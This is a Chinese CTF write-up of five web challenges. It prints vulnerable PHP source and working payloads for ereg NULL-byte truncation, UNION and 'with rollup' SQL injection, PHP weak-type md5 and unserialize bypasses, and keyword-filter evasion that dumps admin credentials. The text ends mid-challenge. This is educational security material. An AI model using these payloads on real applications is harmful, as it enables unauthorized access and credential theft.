1、Once More
http://ctf4.shiyanbar.com/web/more.php
提示是ereg()函数有漏洞哩;从小老师就说要用科学的方法来算数。
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
继而进行代码审计
GET方式提交password,然后用ereg()正则限制了password的形式,只能是一个或者多个数字、大小写字母,继续strlen()限制了长度小于8并且大小必须大于9999999,继续strpos()对password进行匹配,必须含有-,最终才输出flag
因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。对于另一个难题可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是用E或e,也就是1.99714E13=19971400000000,所以构造1E8即100000000 > 9999999,在加上-。于是乎构造password=1E8%00-,成功得到答案
2、程序逻辑问题
http://ctf1.shiyanbar.com/web/5/index.php
题目提示是绕过
不管提交什么都是失败,于是老办法看源码,有提示可以看到源码,又是一道代码审计啊
值摘录了重要的部分
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]); ##此处数据库查询的pass是输入经过MD5加密的
$sql = "select pw from php where user='$user'";
#sql查询语句存在单引号的sql注入
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC); #将查询结果 result 拆到数组变量中
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
我们先用单引号测试一下,提示有错误
welcome to simplexue Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1
那么我们就可以构造注入语句了
首先闭合前面的单引号,再加上and 0=1使前面的查询为假,再用union select直接赋值,注意是md5值,然后完整的语句是这个
' AND 0=1 UNION SELECT ('bcbe3365e6ac95ea2c0343a2395834dd') #
#是注释掉后面的语句
询语句就会成为:
select pw from php where user='' AND 0=1 UNION SELECT "aea467f58fc747cfef9e8c741f467102" #'
那个md5随意,由于我们用的”222“的md5,所以pass就填”222“
这样就可以绕过
3、因缺思汀的绕过
http://ctf5.shiyanbar.com/web/pcat/index.php
老套路查看源代码,发现source.txt,继续进行访问,又是代码审计
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { #判断是否输入
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
要想得到flag必须绕过mysql_num_rows($query) == 1和$key[‘pwd’] == $_POST[‘pwd’]这两个判断
而且sql语句只对uname进行查询,所以我们在uname处进行构造
过滤了很多关键字,数组也给字符串化;
mysql_num_rows() 返回结果集中行的数目,此命令只对select语句有效。那么我们构造
Uname = 'or 1 limit 1#
在sql语句中表示:
SELECT * FROM interest WHERE uname = ''or 1 limit 1#
结果集中行的数目为1 ,即可绕过第一个判断
对于第二个判断$key[‘pwd’] == $_POST[‘pwd’],此处用的是 ==,根据弱类型,NULL和空字符串是相等的
接下来就是如何绕过pwd了,其实就是一个关键字 with rollup 他经常和group by搭配,用来统计。使用了with rollup数据会多一列,显示统计信息。
with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg…),多出的那一行的pwd列只能是NULL所以到目前取出的的数据类似这样:
uname | pwd |
---|---|
usr1 | * |
usr2 | * |
usr2 | NULL |
然后是limit 1 offset 2 就是跳过前两个,只用第三个数据。
那么最终取出的数据就是这样了
uname | pwd |
---|---|
usr2 | NULL |
最后看这里$key[‘pwd’] == $_POST[‘pwd’]用的是 ==,根据弱类型,NULL和空字符串是相等的,所以我们不给pwd传参数。
于是构造 Uname = ‘or 1 group by pwd with rollup limit 1 offset 2#
查询语句:
SELECT * FROM interest WHERE uname = ‘’or 1 group by pwd with rollup limit 1 offset 2#
得出flag
知识点:
GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。
对于group by的列,with rollup将不会做任何的操作,而是返回一个NULL,而没有group by的列,则根据前面的avg函数和sum函数做了处理。
使用 GROUP BY 的 WITH ROLLUP 字句可以检索出更多的分组聚合信息,它不仅仅能像一般的 GROUP BY 语句那样检索出各组的聚合信息,还能检索出本组类的整体聚合信息。
limit :在数据库中查询中间几条数据
offset:开始的意思,表示从第X行记录开始查询
是从数据库中t表中的第二条数据开始查询两条数据,即第二条和第三条。
selete * from t limit 2 offset 1;
– 是从数据库中第三条开始查询,取一条数据,即第三条数据
selete * from testtable limit 2,1;
参考链接:https://raz0r.name/other/phdays-2013-ctf-blade-writeup/
4、天网管理系统
http://ctf5.shiyanbar.com/10/web1/
老套路,打开没什么提示,查看源码
发现是php弱类型,看到了一个md5和0的比较,这是个经典的漏洞,只需要找到md5值为0exxx(xxx全为数字,共30位),这里我提供4个都可以通过的值:240610708、QNKCDZO、aabg7XSs、aabC9RqS
登录后出现了新内容
继续跟进提供的URL看看
$unserialize_str = $_POST[‘password’]; $data_unserialize = unserialize($unserialize_str); if($data_unserialize[‘user’] == ‘???’ && $data_unserialize[‘pass’]==’???’) { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
发现提示的这个有点意思,就是把post提交的password值经过”反序列化”(不懂的尽管百度)得到一个数组,要求数组里的user和pass都满足就打印flag,这里由于我们不知道两处???到底是什么,我们只得另辟途径,从php弱类型入手
<?php
if(true=="pcat"){
echo "ok";
}
?>
bool类型的true跟任意字符串可以弱类型相等,而当代码中存在unserialize或者json_decode的时候,我们可以构造bool类型,来达到欺骗。现在我们要的是一个数组,2个元素,分别是user和pass,而且值都是bool类型的true,于是我们得到a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}(a代表array,s代表string,b代表bool,而数字代表个数/长度)
返回原登录页面后密码输入,即可得到答案
5、菊花
http://ctf1.shiyanbar.com/web/6/
点击进去发现一句话 嘿嘿! 吊死您好! Please make sure you have installed .net framework 9.9!,查看源码也没有啥内容,
用burp进行拦截。前面提示的是.net framework 9.9,于是要修改User-Agent,修改user-agent为Mozilla/5.0 (MSIE 9.0;.NET CLR 9.9)
发现有ID尝试post注入
id=1 提示hacker:welcome to simplexue CTF
id=4提示hacker: don’t try again
使用id=[keyword]1来测试发现多个关键词被过滤
包括union,and,or,select,update,insert,from,引号,空格;另外admin、pass等名称也被过滤。测试发现双重可绕过过滤,如ununionion,seselectlect, 用/**/或%09代替空格。
注入
id=0/ ** /ununionion/ ** /seselectlect/ ** /1,user(),database()可同时得到用户名和数据库名称分别为root@cuit-092a2b258a和inject
继续构造ID进行注入
id=0/ ** /ununionion/ * */seselectlect/ ** /1,username,userpapassss/ ** /ffromrom/ ** /aadmindmin/ ** /limit/ ** /0,1%23